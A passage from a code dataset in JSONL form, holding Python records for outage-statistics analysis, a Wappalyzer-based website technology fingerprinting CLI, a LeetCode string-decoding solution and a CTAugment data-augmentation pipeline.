print(tweet)\n print(\"-----------------------------\")\n print(\"はもうふぁぼしてます( ゚Д゚)\\n\\n\")\n print(\"-----------------------------\")\n time.sleep(2)\n","sub_path":"favTweet_only.py","file_name":"favTweet_only.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"247531294","text":"import matplotlib.mlab as mlab\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport time\nimport csv\nimport numpy as np\nfrom scipy.stats import norm\nfrom matplotlib import rc\nfrom scipy import stats\nfrom scipy.optimize import curve_fit\nimport re\nimport matplotlib.patches as mpatches\n\n\nblue_patch = mpatches.Patch(color='blue')\ngreen_patch = mpatches.Patch(color='green')\n\n\n#plt.rc('text', usetex=True)\n#plt.rc('font', family='serif')\n\nSAIDI_2011 = 108.1492388\nSAIDI_2012 = 100.7009753\nSAIDI_2013 = 94.48550676\nSAIDI_2014 = 94.2656646\nSAIDI_2015 = 100.1514847\nSAIDI_2016 = 109.9781381\n\n\ndef gaus(x,a,x0,sigma):\n return a*exp(-(x-x0)**2/(2*sigma**2))\n\ndef FitGaus(data,nbins=20,title=\"\",xlabel=\"\",ylabel=\"\"):\n\n # Generate some data for this demonstration.\n # Fit a normal distribution to the data:\n mu, std = norm.fit(data)\n\n # Plot the histogram.\n plt.hist(data, bins=nbins, normed=False, alpha=0.6, color='g')\n\n # Plot the PDF.\n xmin, xmax = plt.xlim()\n x = np.linspace(xmin, xmax, 100)\n p = norm.pdf(x, mu, std)\n plt.plot(x, p, 'k', linewidth=2)\n FitParLabel = \"\\nfit parameters: $\\mu$ = %.2f, $\\sigma$ = %.2f\" % (mu, std)\n plt.title(title+FitParLabel)\n plt.xlabel(xlabel)\n plt.ylabel(ylabel)\n\n #plt.show()\n return plt\n\n\ndef AnaLvl3Contributions(df):\n saidi_11 = df.loc[(df.Outage_Year == 2011) & (df.ReportCategory != \"Operation\") & (df.DURATION > 5)]\n saidi_12 = df.loc[(df.Outage_Year == 2012) & (df.ReportCategory != \"Operation\") & (df.DURATION > 5)]\n saidi_13 = df.loc[(df.Outage_Year == 2013) & (df.ReportCategory != \"Operation\") & (df.DURATION > 5)]\n saidi_14 = df.loc[(df.Outage_Year == 2014) & (df.ReportCategory != \"Operation\") & (df.DURATION > 5)]\n saidi_15 = df.loc[(df.Outage_Year == 2015) & (df.ReportCategory != \"Operation\") & (df.DURATION > 5)]\n saidi_16 = df.loc[(df.Outage_Year == 2016) & (df.ReportCategory != \"Operation\") & (df.DURATION > 5)]\n\n print(stats.describe(saidi_16.SAIDI))\n\n saidiraw = FitGaus(saidi_16.DURATION)\n saidiraw.show()\n\n print(\"Unique IDs\")\n UniqueOutageIDs = saidi_16.DISTRB_OUTG_ID.unique()\n print(UniqueOutageIDs)\n\n #for x in UniqueOutageIDs:\n # summedByID_12 = np.empty(len(UniqueOutageIDs)); summedByID_12.fill(saidi_12.loc[saidi_12['DISTRB_OUTG_ID'] == x, 'SAIDI'].sum());\n # summedByID_13 = np.empty(len(UniqueOutageIDs)); summedByID_13.fill(saidi_13.loc[saidi_13['DISTRB_OUTG_ID'] == x, 'SAIDI'].sum());\n # summedByID_14 = np.empty(len(UniqueOutageIDs)); summedByID_14.fill(saidi_14.loc[saidi_14['DISTRB_OUTG_ID'] == x, 'SAIDI'].sum());\n # summedByID_15 = np.empty(len(UniqueOutageIDs)); summedByID_15.fill(saidi_15.loc[saidi_15['DISTRB_OUTG_ID'] == x, 'SAIDI'].sum());\n # summedByID_16 = np.empty(len(UniqueOutageIDs)); summedByID_16.fill(saidi_16.loc[saidi_16['DISTRB_OUTG_ID'] == x, 'SAIDI'].sum());\n\n #saidi_16_UG = saidi_16.loc[(saidi_16.ReportCategory == \"UG\")]\n #saidi_16_OH = saidi_16.loc[(saidi_16.ReportCategory == \"OH\")]\n #saidi_16_WE = saidi_16.loc[(saidi_16.ReportCategory == \"Weather\")]\n #saidi_16_AN = saidi_16.loc[(saidi_16.ReportCategory == \"Animal\")]\n #saidi_16_3P = saidi_16.loc[(saidi_16.ReportCategory == \"3rd Party\")]\n #saidi_16_OT = saidi_16.loc[(saidi_16.ReportCategory == \"Other\")]\n\n ColName = \"ReportCategory\"\n\n saidi_16_RptCat = summedByID_16[ColName].value_counts()\n saidi_4y_RptCat = (summedByID_12[ColName].value_counts()+ \\\n summedByID_13[ColName].value_counts()+ \\\n summedByID_14[ColName].value_counts()+ \\\n summedByID_15[ColName].value_counts() \\\n ) / 4\n\n print('N out >5min, 2016, by category: ')\n print(saidi_16_RptCat)\n print('N out >5min, 4 yr avg, by category: ')\n print(saidi_4y_RptCat)\n print('N out >5min, 2016-4yr avg, by category: ')\n DeltaRptCat = saidi_16_RptCat - saidi_4y_RptCat\n print(DeltaRptCat)\n\n\n plt.figure()\n DeltaRptCat.plot(kind='bar', color = 'w')\n plt.axhline(0, color='k')\n plt.title('N outages in 2016 - 4yr avg, by '+ColName)\n plt.xlabel(ColName)\n plt.ylabel('N outages')\n plt.show()\n\n #print(saidi_16['ReportCategory'].value_counts())\n #print(saidi_16['ReportCategory'].value_counts())\n #print(saidi_16['ReportCategory'].value_counts())\n #print(saidi_16['ReportCategory'].value_counts())\n\n\ndef PlotLvl3Hist(df, Nbins, xmin, xmax, setLogY, year, logTransform):\n\n testAndAvg = [str(year), \"4yravg\"]\n\n #conditional filters on the dataset\n lvl3cats = df['Level_3_Cat'].unique()\n print(\"there are \" + str(len(lvl3cats)) + \" unique categories in Lvl 3\")\n\n colnames = ['Category', 'Year', 'Events', 'min', 'max', 'mean', 'median', 'variance',\n 'kurtosis', 'skewness', 'k2(DAPtest)', 'p value(DAPtest)']\n fileString = \"Lvl3/lvl3pars\" + str(year) + \".csv\"\n with open(fileString, 'w', newline='') as csvfile:\n lvl3writer = csv.writer(csvfile, delimiter=',')\n lvl3writer.writerow(colnames)\n\n for category in lvl3cats:\n plt.clf() # clear figure\n #Skip \"unknown\" category for level 3, no meaningful data in set (at least for 2016, may need revisiting later)\n if category != 'Unknown':\n for yr in testAndAvg:\n print('analyzing ' + yr + \"data set...\")\n if yr == str(year):\n dftemp = df.loc[(df.Outage_Year == year)]\n else:\n dftemp = df.loc[(df.Outage_Year < year) & (df.Outage_Year >= (year - 4))]\n #conditional filters on the dataset\n data2 = (dftemp.loc[dftemp.Level_3_Cat == category])['SAIDI']\n # transform to normal dist\n if logTransform == True:\n data2 = data2.apply(np.log)\n\n median = data2.median()\n k2, pval = stats.mstats.normaltest(data2)\n #Plot data, parse statistical parameters.\n if year == 2016:\n plt.hist(data2, bins='auto', normed=True, alpha=0.6, range=(xmin,xmax))\n else:\n plt.hist(data2, bins='auto', normed=True, alpha=0.6, range=(xmin,xmax))\n plt.legend([blue_patch, green_patch], [\"2016\", \"Rolling Average\"],prop={'size': 8})\n statDescribe = stats.describe(data2)\n minmax = statDescribe[1]\n if logTransform == True:\n statPars = [category,yr,statDescribe[0],minmax[0],minmax[1],statDescribe[2],median,\n statDescribe[3],statDescribe[4],statDescribe[5],k2,pval,\"logTrans\"]\n elif logTransform == False:\n statPars = [category,yr, statDescribe[0],minmax[0],minmax[1],statDescribe[2],median,\n statDescribe[3],statDescribe[4],statDescribe[5],k2,pval,\"logNorm\"]\n print(statPars) #check the formatting of the output to CSV in the terminal\n\n #aesthetics, labels\n currentPlot = plt\n if logTransform == True:\n currentPlot.title('ln(SAIDI) frequency for outages of type: ' + category + str(year))\n currentPlot.xlabel('ln(SAIDI)')\n elif logTransform == False:\n currentPlot.title('SAIDI frequency for outages of type: ' + category + str(year))\n currentPlot.xlabel('SAIDI')\n\n currentPlot.ylabel('frequency')\n if setLogY == True:\n currentPlot.yscale('log')\n\n if logTransform == True:\n logLabel = \"logTrans\"\n elif logTransform == False:\n logLabel = \"logNorm\"\n\n fileString = \"Lvl3/lvl3pars\" + str(year) + \".csv\"\n with open(fileString, 'a', newline='') as csvfile:\n lvl3writer = csv.writer(csvfile, delimiter=',')\n lvl3writer.writerow(statPars)\n currentPlot.tight_layout()\n currentPlot.savefig(\"Lvl3/Lvl3_\"+category+yr+logLabel+\".png\")\n #currentPlot.show()\n\n\ndef PlotLvl5Hist(df, Nbins, xmin, xmax, setLogY, year, logTransform):\n\n testAndAvg = [str(year), \"4yravg\"]\n\n #conditional filters on the dataset\n #lvl3_5cats = df.loc[df.Outage_Year == year]['Level_3_5_Combined'].unique()\n lvl3_5cats = list(set(df.loc[df.Outage_Year == year].Level_3_5_Combined)\n .intersection((df.loc[((df.Outage_Year < year) &(df.Outage_Year >= (year - 4)))]).Level_3_5_Combined))\n print(\"there are \" + str(len(lvl3_5cats)) + \" unique categories in Lvl 3-5 for the intersection of \"\n + str(year) + \" and \" + testAndAvg[1])\n\n colnames = ['Category', 'Year', 'Events', 'min', 'max', 'mean', 'median', 'variance',\n 'kurtosis', 'skewness', 'k2(DAPtest)', 'p value(DAPtest)']\n\n with open(\"Lvl3-5/lvl5pars\" + testAndAvg[0] + \".csv\", 'w', newline='') as csvfile:\n lvl5writer = csv.writer(csvfile, delimiter=',')\n lvl5writer.writerow(colnames)\n\n with open(\"Lvl3-5/lvl5pars\" + testAndAvg[1] + \".csv\", 'w', newline='') as csvfile:\n lvl5writer = csv.writer(csvfile, delimiter=',')\n lvl5writer.writerow(colnames)\n\n for category in lvl3_5cats:\n plt.clf() #clear figure\n for yr in testAndAvg:\n #print('analyzing ' + yr + \"data set in category: \" +category)\n if yr == str(year):\n dftemp = df.loc[(df.Outage_Year == year)]\n else:\n dftemp = df.loc[(df.Outage_Year < year) & (df.Outage_Year >= (year - 4))]\n # conditional filters on the dataset\n data2 = (dftemp.loc[(dftemp.Level_3_5_Combined == category)])['SAIDI']\n if (len(data2) != 0):\n # transform to normal dist\n if logTransform == True:\n data2 = data2.apply(np.log)\n median = data2.median()\n if len(data2) > 8:\n k2, pval = stats.mstats.normaltest(data2)\n else:\n k2, pval = ['NaN','NaN']\n #Plot data, parse statistical parameters.\n plt.hist(data2, bins='auto', normed=True, alpha=0.6, range=(xmin,xmax))\n plt.legend([blue_patch, green_patch], [\"2016\", \"Rolling Average\"], prop={'size': 8})\n statDescribe = stats.describe(data2)\n minmax = statDescribe[1]\n if logTransform == True:\n statPars = [category,yr,statDescribe[0],minmax[0],minmax[1],statDescribe[2],median,\n statDescribe[3],statDescribe[4],statDescribe[5],k2,pval,\"logTrans\"]\n elif logTransform == False:\n statPars = [category,yr,statDescribe[0],minmax[0],minmax[1],statDescribe[2],median,\n statDescribe[3],statDescribe[4],statDescribe[5],k2,pval,\"logNorm\"]\n #print(statPars) #check the formatting of the output to CSV in the terminal\n #aesthetics, labels\n currentPlot = plt\n if logTransform == True:\n currentPlot.title('ln(SAIDI) frequency for outages of type: ' + category + str(year))\n currentPlot.xlabel('ln(SAIDI)')\n elif logTransform == False:\n currentPlot.title('SAIDI frequency for outages of type: ' + category + str(year))\n currentPlot.xlabel('SAIDI')\n currentPlot.ylabel('frequency')\n if setLogY == True:\n currentPlot.yscale('log')\n if logTransform == True:\n logLabel = \"logTrans\"\n elif logTransform == False:\n logLabel = \"logNorm\"\n cat_string = re.sub('/', '_', category)\n #currentPlot.show()\n with open(\"Lvl3-5/lvl5pars\"+str(yr)+\".csv\", 'a', newline='') as csvfile:\n lvl5writer = csv.writer(csvfile, delimiter=',')\n lvl5writer.writerow(statPars)\n currentPlot.legend(prop={'size': 8},bbox_to_anchor=(0., 1.02, 1., .102), loc=3,\n ncol=2, mode=\"expand\", borderaxespad=0.)\n currentPlot.savefig(\"Lvl3-5/Lvl3_5_\"+cat_string+str(yr)+logLabel+\".png\")\n\n return statPars #returns array of parsed parameters\n\n\ndef PlotTSDHist(df, Nbins, xmin, xmax, setLogY, year, logTransform):\n\n if year == 2016:\n df = df.loc[(df.Outage_Year == year)]\n else:\n df = df.loc[(df.Outage_Year < 2016) & (df.Outage_Year >= 2012)]\n\n #conditional filters on the dataset\n TSDcats = df['TSD'].unique()\n print(\"there are \" + str(len(TSDcats)) + \" unique categories in TSD\")\n open(\"TSD/TSDpars\"+str(year)+\".csv\", 'w', newline='')\n for category in TSDcats:\n data2 = (df.loc[(df.TSD == category)])['SAIDI']\n # transform to normal dist\n if logTransform == True:\n data2 = data2.apply(np.log)\n plt.clf() #clear figure\n #Plot data, parse statistical parameters.\n plt.hist(data2, bins=Nbins, normed=True, alpha=0.6, range=(xmin,xmax))\n plt.legend([blue_patch, green_patch], [\"2016\", \"Rolling Average\"], prop={'size': 8})\n statDescribe = stats.describe(data2)\n minmax = statDescribe[1]\n if logTransform == True:\n statPars = [category, statDescribe[0],minmax[0],minmax[1],statDescribe[2],\n statDescribe[3],statDescribe[4],statDescribe[5],\"logTrans\"]\n elif logTransform == False:\n statPars = [category, statDescribe[0],minmax[0],minmax[1],statDescribe[2],\n statDescribe[3],statDescribe[4],statDescribe[5],\"logNorm\"]\n #print(statPars) #check the formatting of the output to CSV in the terminal\n #aesthetics, labels\n currentPlot = plt\n if logTransform == True:\n currentPlot.title('ln(SAIDI) frequency for outages of type: ' + category + str(year))\n currentPlot.xlabel('ln(SAIDI)')\n elif logTransform == False:\n currentPlot.title('SAIDI frequency for outages of type: ' + category + str(year))\n currentPlot.xlabel('SAIDI')\n currentPlot.ylabel('frequency')\n if setLogY == True: currentPlot.yscale('log')\n if logTransform == True:\n logLabel = \"logTrans\"\n elif logTransform == False:\n logLabel = \"logNorm\"\n currentPlot.savefig(\"TSD/TSD_\"+category+str(year)+logLabel+\".png\")\n #currentPlot.show()\n with open(\"TSD/TSDpars\"+str(year)+\".csv\", 'a', newline='') as csvfile:\n lvl5writer = csv.writer(csvfile, delimiter=',')\n lvl5writer.writerow(statPars)\n\n return statPars #returns array of parsed parameters\n\n\n#Treat 4 year average as \"standard\" expected number, plot current year deviation from expectations.\ndef FreqByMo(df,Nyears = 4):\n saidi_11 = df.loc[(df.Outage_Year == 2011) & (df.ReportCategory != \"Operation\") & (df.SAIDI > 0)]\n saidi_12 = df.loc[(df.Outage_Year == 2012) & (df.ReportCategory != \"Operation\") & (df.SAIDI > 0)]\n saidi_13 = df.loc[(df.Outage_Year == 2013) & (df.ReportCategory != \"Operation\") & (df.SAIDI > 0)]\n saidi_14 = df.loc[(df.Outage_Year == 2014) & (df.ReportCategory != \"Operation\") & (df.SAIDI > 0)]\n saidi_15 = df.loc[(df.Outage_Year == 2015) & (df.ReportCategory != \"Operation\") & (df.SAIDI > 0)]\n saidi_16 = df.loc[(df.Outage_Year == 2016) & (df.ReportCategory != \"Operation\") & (df.SAIDI > 0)]\n\n OutFreqbyMo11 = saidi_11['Outage_Month'].value_counts()\n OutFreqbyMo12 = saidi_12['Outage_Month'].value_counts()\n OutFreqbyMo13 = saidi_13['Outage_Month'].value_counts()\n OutFreqbyMo14 = saidi_14['Outage_Month'].value_counts()\n OutFreqbyMo15 = saidi_15['Outage_Month'].value_counts()\n OutFreqbyMo16 = saidi_16['Outage_Month'].value_counts()\n\n print('Outage Frequency by month, 2011: ')\n print(OutFreqbyMo11)\n print('Outage Frequency by month, 2012: ')\n print(OutFreqbyMo12)\n print('Outage Frequency by month, 2013: ')\n print(OutFreqbyMo13)\n print('Outage Frequency by month, 2014: ')\n print(OutFreqbyMo14)\n print('Outage Frequency by month, 2015: ')\n print(OutFreqbyMo15)\n print('Outage Frequency by month, 2016: ')\n print(OutFreqbyMo16)\n\n print('Frequecy by month, rolling 4 year avg: ')\n OutFreqbyMoRolling = (OutFreqbyMo12+OutFreqbyMo13+OutFreqbyMo14+OutFreqbyMo15) / Nyears\n print(OutFreqbyMoRolling)\n\n DeltaFreq2016 = OutFreqbyMo16 - OutFreqbyMoRolling\n print (DeltaFreq2016)\n plt.figure(1)\n DeltaFreq2016.plot(kind='bar', color = 'w')\n plt.axhline(0, color='k')\n plt.title('$N_{out/mo} (2016)$ - $N_{out/mo}$ (2012-2015)')\n plt.xlabel('$\\Delta N_{out}$(2016-4 yr avg)')\n plt.ylabel('Month')\n plt.savefig('NoutByMonthVs4yr.png')\n #plt.show()\n\n\ndef SignificanceTestLvl3(df,logTransform = True):\n #conditional filters on the dataset\n uniqueCats = df['Level_3_Cat'].unique()\n print(\"there are \" + str(len(uniqueCats)) + \" unique categories in Lvl 3\")\n\n with open(\"sigTest_Lvl3.csv\", 'w', newline='') as csvfile:\n sigTestWriter = csv.writer(csvfile, delimiter=',')\n labelArray=[\"category\",\"T statistic\", \"p value(T)\",\"K-S statistic\", \"p value (KS)\"]\n sigTestWriter.writerow(labelArray)\n\n for category in uniqueCats:\n df4yra = df.loc[(df.Outage_Year < 2016) & (df.Outage_Year >= 2012) & (df.Level_3_Cat == category)]['SAIDI']\n df2016 = df.loc[(df.Outage_Year == 2016) & (df.Level_3_Cat == category)]['SAIDI']\n\n if logTransform == True:\n df4yra_cat = df4yra.apply(np.log)\n df2016_cat = df2016.apply(np.log)\n KS_testPars = stats.ks_2samp(df2016_cat,df4yra_cat)\n T_testPars = stats.ttest_ind(df2016_cat,df4yra_cat)\n else:\n KS_testPars = stats.ks_2samp(df2016, df4yra)\n T_testPars = stats.ttest_ind(df2016, df4yra)\n print(\"for category: \" + category + \", the corresponding T-test results are: \" + str(T_testPars))\n print(\"for category: \" + category + \", the corresponding KS-test results are: \" + str(KS_testPars))\n\n outArray = [category,T_testPars[0],T_testPars[1],KS_testPars[0],KS_testPars[1]]\n\n with open(\"sigTest_Lvl3.csv\", 'a', newline='') as csvfile:\n sigTestWriter = csv.writer(csvfile, delimiter=',')\n sigTestWriter.writerow(outArray)\n\n\ndef SignificanceTestLvl3_5(df,logTransform = True):\n #conditional filters on the dataset\n uniqueCats = df['Level_3_5_Combined'].unique()\n print(\"there are \" + str(len(uniqueCats)) + \" unique categories in Lvl 3-5\")\n\n with open(\"sigTest_Lvl3_5.csv\", 'w', newline='') as csvfile:\n sigTestWriter = csv.writer(csvfile, delimiter=',')\n labelArray=[\"category\",\"T statistic\", \"p value(T)\",\"K-S statistic\", \"p value (KS)\", \"T statistic (Welch)\", \"p value (Welch)\",\"N events\"]\n sigTestWriter.writerow(labelArray)\n\n for category in uniqueCats:\n df4yra = df.loc[(df.Outage_Year < 2016) & (df.Outage_Year >= 2012) & (df.Level_3_5_Combined == category)]['SAIDI']\n df2016 = df.loc[(df.Outage_Year == 2016) & (df.Level_3_5_Combined == category)]['SAIDI']\n\n if (len(df4yra) != 0) & (len(df2016) != 0):\n if logTransform == True:\n df4yra_cat = df4yra.apply(np.log)\n df2016_cat = df2016.apply(np.log)\n KS_testPars = stats.ks_2samp(df2016_cat,df4yra_cat)\n T_testPars = stats.ttest_ind(df2016_cat,df4yra_cat)\n welchPars = stats.ttest_ind(df2016_cat,df4yra_cat, equal_var=False)\n else:\n KS_testPars = stats.ks_2samp(df2016, df4yra)\n T_testPars = stats.ttest_ind(df2016, df4yra)\n welchPars = stats.ttest_ind(df2016_cat, df4yra_cat, equal_var=False)\n print(\"for category: \" + category + \", the corresponding T-test results are: \" + str(T_testPars))\n print(\"for category: \" + category + \", the corresponding KS-test results are: \" + str(KS_testPars))\n\n outArray = [category, T_testPars[0], T_testPars[1],\n KS_testPars[0], KS_testPars[1], welchPars[0], welchpars[1], len(df2016)]\n\n with open(\"sigTest_Lvl3_5.csv\", 'a', newline='') as csvfile:\n sigTestWriter = csv.writer(csvfile, delimiter=',')\n sigTestWriter.writerow(outArray)\n\n\ndef SignificanceTestLvlTSD(df,logTransform = True):\n #conditional filters on the dataset\n uniqueCats = df['TSD'].unique()\n with open(\"sigTest_LvlTSD.csv\", 'w', newline='') as csvfile:\n sigTestWriter = csv.writer(csvfile, delimiter=',')\n labelArray=[\"category\",\"T statistic\", \"p value(T)\",\"K-S statistic\", \"p value (KS)\"]\n sigTestWriter.writerow(labelArray)\n\n for category in uniqueCats:\n df4yra = df.loc[(df.Outage_Year < 2016) & (df.Outage_Year >= 2012) & (df.TSD == category)]['SAIDI']\n df2016 = df.loc[(df.Outage_Year == 2016) & (df.TSD == category)]['SAIDI']\n if (len(df4yra) != 0) & (len(df2016) != 0):\n if logTransform == True:\n df4yra_cat = df4yra.apply(np.log)\n df2016_cat = df2016.apply(np.log)\n KS_testPars = stats.ks_2samp(df2016_cat,df4yra_cat)\n T_testPars = stats.ttest_ind(df2016_cat,df4yra_cat)\n else:\n KS_testPars = stats.ks_2samp(df2016, df4yra)\n T_testPars = stats.ttest_ind(df2016, df4yra)\n print(\"for category: \" + category + \", the corresponding T-test results are: \" + str(T_testPars))\n print(\"for category: \" + category + \", the corresponding KS-test results are: \" + str(KS_testPars))\n\n outArray = [category,T_testPars[0],T_testPars[1],KS_testPars[0],KS_testPars[1]]\n\n with open(\"sigTest_LvlTSD.csv\", 'a', newline='') as csvfile:\n sigTestWriter = csv.writer(csvfile, delimiter=',')\n sigTestWriter.writerow(outArray)\n\n\ndef anaSAIDI(df):\n\n\n #rawSAIDI = saidi_11.CMI / saidi_11.DURATION\n\n num_bins = 100\n\n fig, ax = plt.subplots()\n\n # the histogram of the data\n n, bins, patches = ax.hist(saidi_16.DURATION, num_bins,range=(0,500))\n\n ## add a 'best fit' line\n #y = mlab.normpdf(bins, mu, sigma)\n #ax.plot(bins, y, '--')\n #ax.set_xlabel('Smarts')\n #ax.set_ylabel('$N_occurences$')\n #ax.set_title(r'City-Level SAID, 2016')\n\n # Tweak spacing to prevent clipping of ylabel\n fig.tight_layout()\n plt.show()\n\n\n\nprint('loaded Stage 1 without errors.')\n","sub_path":"Stage1DeepDive.py","file_name":"Stage1DeepDive.py","file_ext":"py","file_size_in_byte":22664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"573891269","text":"#!/usr/bin/env python3\n\nimport json\n\nimport click\n\nfrom habu.lib.web_tech import web_tech\n\n\n@click.command()\n@click.argument('url')\n@click.option('-c', 'no_cache', is_flag=True, default=False, help='Disable cache')\n@click.option('-v', 'verbose', is_flag=True, default=False, help='Verbose output')\ndef cmd_web_tech(url, no_cache, verbose):\n \"\"\"Use Wappalyzer apps.json database to identify technologies used on a web application.\n\n Reference: https://github.com/AliasIO/Wappalyzer\n\n Note: This tool only sends one request. So, it's stealth and not suspicious.\n\n \\b\n $ habu.web.tech https://woocomerce.com\n {\n \"Nginx\": {\n \"categories\": [\n \"Web Servers\"\n ]\n },\n \"PHP\": {\n \"categories\": [\n \"Programming Languages\"\n ]\n },\n \"WooCommerce\": {\n \"categories\": [\n \"Ecommerce\"\n ],\n \"version\": \"6.3.1\"\n },\n \"WordPress\": {\n \"categories\": [\n \"CMS\",\n \"Blogs\"\n ]\n },\n }\n \"\"\"\n\n response = web_tech(url, no_cache, verbose)\n print(json.dumps(response, indent=4))\n\n\nif __name__ == '__main__':\n cmd_web_tech()\n","sub_path":"habu/cli/cmd_web_tech.py","file_name":"cmd_web_tech.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"91290308","text":"#!/usr/bin/env python3\n# coding: utf-8\n\n# Time complexity: O()\n# Space complexity: O()\n\n\nclass Solution(object):\n def decodeString(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n stack, num = [[\"\", 1]], 0\n\n for c in s:\n if c.isdigit():\n num = num * 10 + int(c)\n elif c == '[':\n stack.append([\"\", num])\n num = 0\n elif c == ']':\n top_num, count = stack.pop()\n stack[-1][0] += top_num * count\n else:\n stack[-1][0] += c\n\n return stack[-1][0]\n","sub_path":"leetcode_python/394.Decode_String.py","file_name":"394.Decode_String.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"205876245","text":"# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport collections\nimport functools\nimport multiprocessing\nfrom time import sleep\nfrom typing import List, Tuple\n\nimport numpy as np\nimport objax\nimport tensorflow as tf\nfrom absl.flags import FLAGS\n\nfrom shared.data.augment import ctaugment\nfrom shared.data.augment.augment import AugmentPoolBase\nfrom shared.data.augment.core import get_tf_augment\nfrom shared.data.augment.ctaugment import CTAugment\nfrom shared.data.core import DataSet\nfrom shared.data.core import Numpyfier\nfrom shared.data.merger import DataMerger\nfrom shared.util import StoppableThread\n\n\nclass MixData(AugmentPoolBase):\n def __init__(self,\n labeled_source: DataSet,\n labeled_target: DataSet,\n unlabeled_target: DataSet,\n nclass: int, batch: int, uratio: int):\n a = FLAGS.augment.split('(')[-1]\n a = a[:-1].split(',')\n weak, strong = tuple(get_tf_augment(ai, size=labeled_source.image_shape[0]) for ai in a)\n\n def bi_augment(d):\n return dict(image=tf.stack([weak(d)['image'], strong(d)['image']]), index=d['index'], label=d['label'])\n\n sx, tx, tu = (v.repeat().shuffle(FLAGS.shuffle).parse().map(bi_augment, FLAGS.para_augment).nchw()\n for v in (labeled_source, labeled_target, unlabeled_target))\n sx = Numpyfier(sx.batch(batch).one_hot(nclass).prefetch(16))\n tx = Numpyfier(tx.batch(batch).one_hot(nclass).prefetch(16))\n tu = Numpyfier(tu.batch(batch * uratio).prefetch(16))\n self.train = DataMerger((sx, tx, tu))\n\n def __iter__(self) -> dict:\n for sx, tx, tu in self.train:\n yield dict(sx=sx, tx=tx, tu=tu)\n\n\nclass CTAData(AugmentPoolBase):\n def __init__(self,\n labeled_source: DataSet,\n labeled_target: DataSet,\n unlabeled_target: DataSet,\n nclass: int, batch: int, uratio: int):\n a = FLAGS.augment.split('(')[-1]\n a = a[:-1].split(',')\n a, kwargs = a[:2], {k: v for k, v in (x.split('=') for x in a[2:])}\n h, w, c = labeled_source.image_shape\n para = FLAGS.para_augment\n probe_shape = (para, batch * 2, c, h, w)\n sx_shape = (para, batch, 2, c, h, w)\n tx_shape = (para, batch, 2, c, h, w)\n tu_shape = (para, batch * uratio, 2, c, h, w)\n del h, w, c\n self.shapes = probe_shape, sx_shape, tx_shape, tu_shape\n self.check_mem_requirements()\n self.probe, self.sx, self.tx, self.tu = self.get_np_arrays(self.shapes)\n self.pool = multiprocessing.Pool(para)\n self.probe_period = int(kwargs.get('probe', 1))\n self.cta = CTAugment(int(kwargs.get('depth', 2)),\n float(kwargs.get('th', 0.8)),\n float(kwargs.get('decay', 0.99)))\n self.to_schedule = collections.deque()\n self.deque = collections.deque()\n self.free = list(range(para))\n self.thread = StoppableThread(target=self.scheduler)\n self.thread.start()\n weak, strong = tuple(get_tf_augment(ai, size=labeled_source.image_shape[0]) for ai in a)\n\n def bi_augment(d):\n return dict(image=tf.stack([weak(d)['image'], strong(d)['image']]), index=d['index'], label=d['label'])\n\n sx, tx, tu = (v.repeat().shuffle(FLAGS.shuffle).parse().map(bi_augment, FLAGS.para_augment).nchw()\n for v in (labeled_source, labeled_target, unlabeled_target))\n sx = Numpyfier(sx.batch(batch).one_hot(nclass).prefetch(16))\n tx = Numpyfier(tx.batch(batch).one_hot(nclass).prefetch(16))\n tu = Numpyfier(tu.batch(batch * uratio).prefetch(16))\n self.train = DataMerger((sx, tx, tu))\n\n def stop(self):\n self.thread.stop()\n\n def scheduler(self):\n while not self.thread.stopped():\n sleep(0.0001)\n while self.to_schedule:\n d, idx, do_probe = self.to_schedule.popleft()\n self.sx[idx] = d['sx']['image']\n self.tx[idx] = d['tx']['image']\n self.tu[idx] = d['tu']['image']\n worker_args = (idx, self.shapes, do_probe, self.cta)\n self.deque.append((d, idx, self.pool.apply_async(self.worker, worker_args)))\n\n @staticmethod\n def worker(idx: int, shapes: List[Tuple[int, ...]], do_probe: bool, cta: CTAugment):\n def cutout_policy():\n return cta.policy(probe=False) + [ctaugment.OP('cutout', (1,))]\n\n probe, sx_array, tx_array, tu_array = (arr[idx] for arr in CTAData.get_np_arrays(shapes))\n sx = objax.util.image.nhwc(sx_array)\n tx = objax.util.image.nhwc(tx_array)\n tu = objax.util.image.nhwc(tu_array)\n stx = np.concatenate((sx, tx))\n nchw = objax.util.image.nchw\n sx_strong = np.stack([ctaugment.apply(sx[i, 1], cutout_policy()) for i in range(sx.shape[0])])\n tx_strong = np.stack([ctaugment.apply(tx[i, 1], cutout_policy()) for i in range(tx.shape[0])])\n tu_strong = np.stack([ctaugment.apply(tu[i, 1], cutout_policy()) for i in range(tu.shape[0])])\n sx_array[:] = nchw(np.stack([sx[:, 0], sx_strong], axis=1))\n tx_array[:] = nchw(np.stack([tx[:, 0], tx_strong], axis=1))\n tu_array[:] = nchw(np.stack([tu[:, 0], tu_strong], axis=1))\n if not do_probe:\n return\n\n policy_list = [cta.policy(probe=True) for _ in range(stx.shape[0])]\n probe[:] = nchw(np.stack([ctaugment.apply(stx[i, 0], policy)\n for i, policy in enumerate(policy_list)]))\n return policy_list\n\n def update_rates(self, policy, label, y_probe):\n w1 = 1 - 0.5 * np.abs(y_probe - label).sum(1)\n for p in range(w1.shape[0]):\n self.cta.update_rates(policy[p], w1[p])\n\n def __iter__(self):\n for i, (sx, tx, tu) in enumerate(self.train):\n if not self.free:\n while not self.deque:\n sleep(0.0001)\n d, idx, pd = self.deque.popleft()\n self.free.append(idx)\n policy = pd.get()\n if policy:\n d['probe'] = np.copy(self.probe[idx])\n d['policy'] = policy\n d['probe_callback'] = functools.partial(self.update_rates, d['policy'],\n np.concatenate((d['sx']['label'], 